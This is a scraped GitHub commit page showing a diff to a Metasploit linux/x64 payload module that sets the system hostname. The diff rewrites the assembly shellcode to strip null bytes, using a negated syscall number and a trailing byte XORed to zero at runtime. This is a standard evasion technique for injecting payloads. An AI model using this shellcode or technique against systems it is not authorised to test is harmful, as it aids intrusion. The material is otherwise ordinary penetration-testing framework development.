Skip to content

Commit b1de0c6

Browse files
committed
Removes null-bytes
1 parent dbe4226 commit b1de0c6

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/payloads/singles/linux/x64/set_hostname.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
##
55

66
module MetasploitModule
7-
CachedSize = 25
7+
CachedSize = 33
88

99
include Msf::Payload::Single
1010
include Msf::Payload::Linux
@@ -38,20 +38,22 @@ def generate(_opts = {})
3838
end
3939

4040
payload = %^
41-
push 170 ; sethostname() syscall number.
41+
push 0xffffffffffffff56 ; sethostname() syscall number.
4242
pop rax
43+
neg rax
4344
jmp str
4445
4546
end:
4647
push #{length}
4748
pop rsi
4849
pop rdi ; rdi points to the hostname string.
50+
xor byte [rdi+rsi], 0x41
4951
syscall
5052
ret ; break the loop by causing segfault.
5153
5254
str:
5355
call end
54-
db "#{hostname}"
56+
db "#{hostname}A"
5557
^
5658

5759
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string

0 commit comments

Comments
 (0)